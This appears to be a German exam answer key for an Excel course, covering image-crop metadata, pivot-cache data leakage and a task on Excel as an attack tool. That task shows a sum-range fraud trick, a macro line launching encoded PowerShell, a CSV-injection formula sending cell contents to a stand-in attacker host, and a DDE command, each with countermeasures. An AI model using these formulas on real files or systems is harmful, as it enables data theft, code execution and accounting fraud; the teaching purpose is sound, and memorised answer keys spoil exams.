b) 4 P. – Zwei Einstellungen vor Beginn der Bearbeitung

1. Bearbeitungsdaten verwerfen. Diese Option unter „Datei – Optionen – Erweitert" bewirkt, dass beim Speichern die nicht mehr dargestellten Bildanteile tatsächlich entfernt werden, sodass die abgeschnittenen Bereiche nicht wiederherstellbar sind. ⟨1⟩ Sie wirkt erst ab dem nächsten Speichervorgang, weshalb sie vor der Bearbeitung und nicht erst kurz vor dem Versand zu setzen ist; der Dialog ist in Word, Excel und PowerPoint identisch aufgebaut. ⟨2⟩

2. Bilder in Datei nicht komprimieren. Office wendet auf eingebettete Bilder einen sehr aggressiven Kompressionsalgorithmus an, der aus Fotos und Bildschirmabzügen sichtbaren Bildbrei macht. ⟨3⟩ Der Haken muss vor dem ersten Speichern gesetzt werden, weil die Qualität mit dem ersten Speichervorgang unwiederbringlich verloren ist und sich der Schaden häufig erst am gedruckten Exemplar zeigt. ⟨4⟩

c) 2 P. – Bitmap gegen Vektor

Eine Bitmap speichert einzelne Bildpunkte und wird beim Vergrößern unscharf, während eine Vektorgrafik nur die mathematische Beschreibung der dargestellten Objekte enthält und sich deshalb ohne Qualitätsverlust skalieren lässt; Excel legt heute in den meisten Fällen bereits eine Vektorgrafik in die Zwischenablage, erzwingen lässt sich das über den Dialog „Als Bild kopieren" mit der Auswahl Vektor. ⟨1⟩ Erkennen lässt sich das Ergebnis am Hintergrund: Verschiebt man das eingefügte Bild über ein farbiges Element und bleibt dieses sichtbar, liegt eine transparente Vektorgrafik vor, während ein deckendes Weiß auf eine Bitmap hinweist. ⟨2⟩

Rohleders Erwartung: Er hat den Zuschnitt live rückgängig gemacht und dazu gesagt: „Und das könnten jetzt Zahlen sein, die Sie eigentlich nicht hätten übermitteln wollen." Die Antwort muss deshalb die Unterscheidung zwischen Anzeigeeinstellung und tatsächlicher Löschung tragen; die beiden Optionsnamen sind die leichten Punkte, das Verständnis der Mechanik ist der eigentliche Prüfgegenstand.

a) 4 P. – Warum der Vorschlag das Ziel verfehlt

Eine Pivot-Tabelle rechnet nicht auf der sichtbaren Quelltabelle, sondern auf einer eigenen Kopie aller verdichteten Daten, dem Pivot-Cache. Dieser Cache reist mit der Pivot-Tabelle mit, auch wenn das Quellblatt in der versendeten Datei gar nicht enthalten ist. ⟨1⟩

Der Empfänger kommt an diese Daten ohne jedes Spezialwissen heran: Ein Doppelklick auf eine Ergebniszelle erzeugt über die Funktion „Details anzeigen" ein neues Blatt mit genau den Einzeldatensätzen, die hinter diesem Wert stehen. ⟨2⟩

Damit sind Kundennamen, Konditionen und Deckungsbeiträge vollständig rekonstruierbar, obwohl auf dem Bildschirm nur Summen zu sehen waren. Aus Sicht des Datenschutzes und des Geschäftsgeheimnisses liegt eine Weitergabe der Rohdaten vor, nicht der Aggregate. ⟨3⟩

Verschärfend kommt hinzu, dass an der Pivot-Tabelle Filter aktiv sein können, die man ihr nicht ansieht, und dass der Quelldatenbereich in der Konfiguration steht und nicht im Blatt; wer die Datei versendet, weiß also nicht sicher, welchen Ausschnitt er tatsächlich weitergibt. ⟨4⟩

b) 3 P. – Drei Wege der sauberen Weitergabe

Weg 1: Werte einfügen in eine neue Mappe. Die Ergebnismatrix wird kopiert und über Inhalte einfügen → Werte in eine leere Arbeitsmappe übernommen, gegebenenfalls zusätzlich mit Formaten. Danach existiert kein Cache und keine Verbindung mehr, sondern nur noch die Zahlen. Das ist der einfachste und sicherste Weg und die Empfehlung. ⟨1⟩

Weg 2: Ausgabe in einem nicht rechnenden Format. Ein PDF oder ein Ausdruck transportiert die Aggregate, ohne dass irgendetwas mitreist. Der Nachteil ist, dass der Empfänger nicht weiterrechnen kann, was je nach Auftrag erwünscht oder hinderlich ist. ⟨2⟩

Weg 3: Neu aufbauen auf einer bereits aggregierten Quelle. Die Verdichtung erfolgt vorab mit GRUPPIERENNACH(), PIVOTMIT() oder SUMMEWENNS() auf einer Tabelle, die nur die freigegebenen Merkmale enthält; die versendete Mappe kennt die Einzeldatensätze dann gar nicht. Das ist der methodisch sauberste Weg, kostet aber Modellierungsaufwand. ⟨3⟩

c) 3 P. – Weitere Auswirkungen des Cache und Umgang damit

Auswirkung 1: Dateigröße. Besteht die Mappe im Wesentlichen aus einer großen Tabelle, verdoppelt bereits die erste Pivot-Tabelle die Datenmenge, weil der Cache angelegt wird. Bei mehreren Pivot-Analysen auf derselben Quelle ist darauf zu achten, dass sie sich denselben Cache teilen, statt jeweils einen eigenen zu erzeugen. ⟨1⟩

Auswirkung 2: Aktualitätsrisiko. Der Cache ist eine Momentaufnahme. Ändern sich die Quelldaten, zeigt die Pivot-Tabelle weiterhin den alten Stand, bis manuell aktualisiert wird; Rohleder demonstriert das mit seinem Rasierschaum, der erst nach dem Klick auf Aktualisieren erscheint und nach dem Löschen erst danach wieder verschwindet. ⟨2⟩

Umgang: In den Pivot-Table-Optionen wird auf dem Register Daten die Option „Quelldaten mit Datei speichern" abgeschaltet, wenn der Cache nicht mitgehen soll, und „Aktualisieren beim Öffnen der Datei" aktiviert, damit die Zahlen beim Öffnen wenigstens einmal auf den aktuellen Stand kommen. Vor jedem Versand gilt die Regel, die Weitergabedatei zu öffnen und den Doppelklicktest auf eine Ergebniszelle selbst zu machen. ⟨3⟩

Rohleders Erwartung: Er leitet die Passage in U10 ausdrücklich mit „Ich weiß nicht, ob ich das schon hinreichend deutlich gemacht habe" ein, was bei ihm heißt, dass er dem Punkt Gewicht gibt. Er will den Mechanismus hören, also Cache plus Doppelklick, nicht bloß den Merksatz „Pivot ist unsicher", und er will eine Handlungsempfehlung, die man einer Kollegin am Telefon sagen könnte.

4. Tatwaffe Excel (9 P.)

✅ von 2 Profs geprüft

📝 Lösung

Vorbemerkung (Einordnung)

Excel ist deshalb eine so beliebte "Tatwaffe", weil zwei Dinge zusammentreffen: der Marktanteil von mindestens 85 % (fast jedes Opfer hat Excel installiert und öffnet .xlsx-Dateien ohne Misstrauen) und die offene Sicherheitsarchitektur (Excel führt Formeln automatisch aus und kann eingebetteten Programmcode starten). Nachfolgend drei verschiedene, in der Praxis gebräuchliche Szenarien.

Szenario 1 - Manipulation von Finanzdaten durch einen Innentäter

Täter: Ein Mitarbeiter mit legitimem Zugriff (Buchhaltung, Controlling, Finanzwesen).

Vorgehen: Der Täter verändert nicht die Software, sondern die Datei selbst. Er fälscht Ergebnisse so, dass Unterschlagungen oder eine geschönte Finanzlage nicht auffallen - etwa indem er eine belastende Buchung aus der Summe "herausrechnet" oder ganze Positionen optisch verschwinden lässt.

Konkret missbrauchte Excel-Technik + Schaden:

Klassiker ist das heimliche Verkürzen eines Summenbereichs. Aus einer korrekten Summe

=SUMME(B2:B19)

wird

=SUMME(B2:B18)

Bestandteil für Bestandteil:

• = (Gleichheitszeichen) - leitet jede Excel-Formel ein; es sagt Excel "berechne dies, zeige nicht den Text an".
• SUMME (Funktionsname) - die Funktion, die alle Werte im angegebenen Bereich addiert.
• ( und ) (runde Klammern) - umschliessen das Argument der Funktion; alles dazwischen ist die Eingabe.
• B2:B19 bzw. B2:B18 (Bereichsargument) - B ist die Spalte, 2/18/19 sind Zeilennummern.
• : (Doppelpunkt) - der Bereichsoperator, gelesen "von ... bis". B2:B19 heisst "Zelle B2 bis Zelle B19".

Wirkung: Durch die Änderung von B19 auf B18 fällt die letzte (belastende) Buchung aus der Summe - die Bilanz wirkt weiter stimmig, das Geld ist umgeleitet.

Ergänzend nutzen Täter das benutzerdefinierte Zahlenformat mit drei Semikola ;;;. Ein Excel-Zahlenformat hat vier durch ; (Semikolon) getrennte Abschnitte: positiv;negativ;null;text. Bleiben alle vier leer (;;;), wird der Zelleninhalt unsichtbar, obwohl der Wert rechnerisch weiter mitzählt. So bleiben manipulierte Zwischenwerte für den Prüfer verborgen (alternativ: Zeilen/Spalten ausblenden). Schaden: Unterschlagung, Bilanzfälschung, Untreue.

Szenario 2 - Verbreitung von Malware über Makros

Täter: Ein externer Angreifer (Cyberkrimineller).

Vorgehen: Der Angreifer versieht eine Excel-Datei mit bösartigem Makro-Code und sendet sie per E-Mail als scheinbar legitimes Dokument ("Rechnung", "Lieferschein"). Aktiviert das Opfer nach dem Öffnen die Makros (Klick auf "Inhalt aktivieren"), startet der Schadcode und lädt Schadsoftware nach - z. B. den Info-Stealer Agent Tesla.

Konkret missbrauchte Excel-Technik + Schaden:

Missbraucht wird die Fähigkeit von Excel, beim Öffnen automatisch Programmcode auszuführen. Zwei Ausprägungen:

1. VBA-Makro mit Auto-Start. Eine Prozedur im Ereignis Workbook_Open() läuft ohne weiteres Zutun, sobald die Mappe geoeffnet und Makros erlaubt sind - der ideale Ansatzpunkt für den Angreifer.

2. Alte Excel-4.0-Makrofunktion (XLM), die direkt in einer Zelle steht, z. B.

=EXEC("cmd.exe /c powershell -enc ...")

Bestandteil für Bestandteil:

• = (Gleichheitszeichen) - Formelstart, hier in einem Excel-4.0-Makroblatt: der Ausdruck wird als Befehl ausgeführt.
• EXEC (Funktionsname) - eine alte Makro-Funktion, die ein externes Programm startet.
• ( ) (runde Klammern) - umschliessen das Argument.
• "cmd.exe /c powershell -enc ..." (Text-Argument) - die Anführungszeichen " " markieren den Inhalt als Text; darin steht das zu startende Programm samt Befehl.

Schaden: Nachladen von Ransomware/Info-Stealern, Diebstahl von Zugangsdaten, Fernsteuerung des Rechners. Deshalb blockiert Microsoft Makros aus dem Internet inzwischen standardmässig - der Angreifer setzt daher auf Social Engineering, damit das Opfer die Blockade selbst aufhebt.

Szenario 3 - Formel-/CSV-Injection und Datenabfluss

Täter: Ein Angreifer, der Daten in ein System einschleusen kann, das später als Excel-/CSV-Datei geoeffnet wird (z. B. über ein Web-Formular, das exportiert wird).

Vorgehen: Der Angreifer trägt in ein harmloses Textfeld einen Wert ein, der mit einem Formel-Startzeichen beginnt: =, +, - oder @. Beim späteren Export und Öffnen interpretiert Excel diese Zelle nicht als Text, sondern als Formel und führt sie aus - obwohl niemand bewusst eine Formel geschrieben hat.

Konkret missbrauchte Excel-Technik + Schaden:

Beispiel für heimlichen Datenabfluss:

=WEBDIENST("http://angreifer.tld/?x="&A2)

Bestandteil für Bestandteil:

• = (Gleichheitszeichen) - Formelstart; genau dieses Zeichen löst die automatische Ausführung aus (ebenso +, -, @).
• WEBDIENST (Funktionsname, engl. WEBSERVICE) - ruft eine Internet-Adresse (URL) auf und gibt deren Antwort zurück.
• ( ) (runde Klammern) - umschliessen das Argument.
• "http://angreifer.tld/?x=" (Text-URL) - die Anführungszeichen " " markieren die Adresse als Text; sie zeigt auf den Server des Angreifers.
• & (kaufmännisches Und) - der Verkettungsoperator; er "klebt" Text zusammen.
• A2 (Zellbezug) - A ist die Spalte, 2 die Zeile; der Inhalt der Zelle A2 wird an die URL angehängt.

Wirkung: Excel ruft die Adresse http://angreifer.tld/?x=<Inhalt von A2> auf und sendet damit den Zellinhalt an den Angreifer - Datendiebstahl ohne Makro, allein über eine Zellformel. Verwandte Varianten sind =HYPERLINK(...) (präparierter Link) und DDE-Befehle wie =cmd|'/c calc.exe'!A1, die ein externes Programm starten. Schaden: Exfiltration vertraulicher Daten, im DDE-Fall Ausführung beliebiger Befehle. Schutz: Eingaben beim Export "entschärfen" (führendes =,+,-,@ z. B. mit einem vorangestellten Apostroph ' als Text markieren).

Abschluss (Gemeinsamkeit)

Alle drei Fälle nutzen dieselbe Grundschwäche: Excel führt Inhalte (Formeln, Makros) automatisch aus, und Anwender vertrauen Excel-Dateien blind. Gegenmassnahmen: Makros standardmässig deaktivieren, Vier-Augen-Prinzip und Zellschutz/Änderungsprotokoll bei Finanzdateien, Eingaben vor dem Export gegen Formel-Injection absichern.

⟨+1⟩ Die Prüf-Reserve gegen Szenario 1: Unsichtbares wird sichtbar, wenn man nicht dem Bildschirm, sondern der Struktur traut — Formeln einblenden (STRG+#), die Raute-Suche über den Suchbereich Arbeitsmappe für Fehlerwerte und der Blick auf Zahlenformate wie ;;; decken verkürzte Summen und versteckte Zellen auf.

Pivottabellen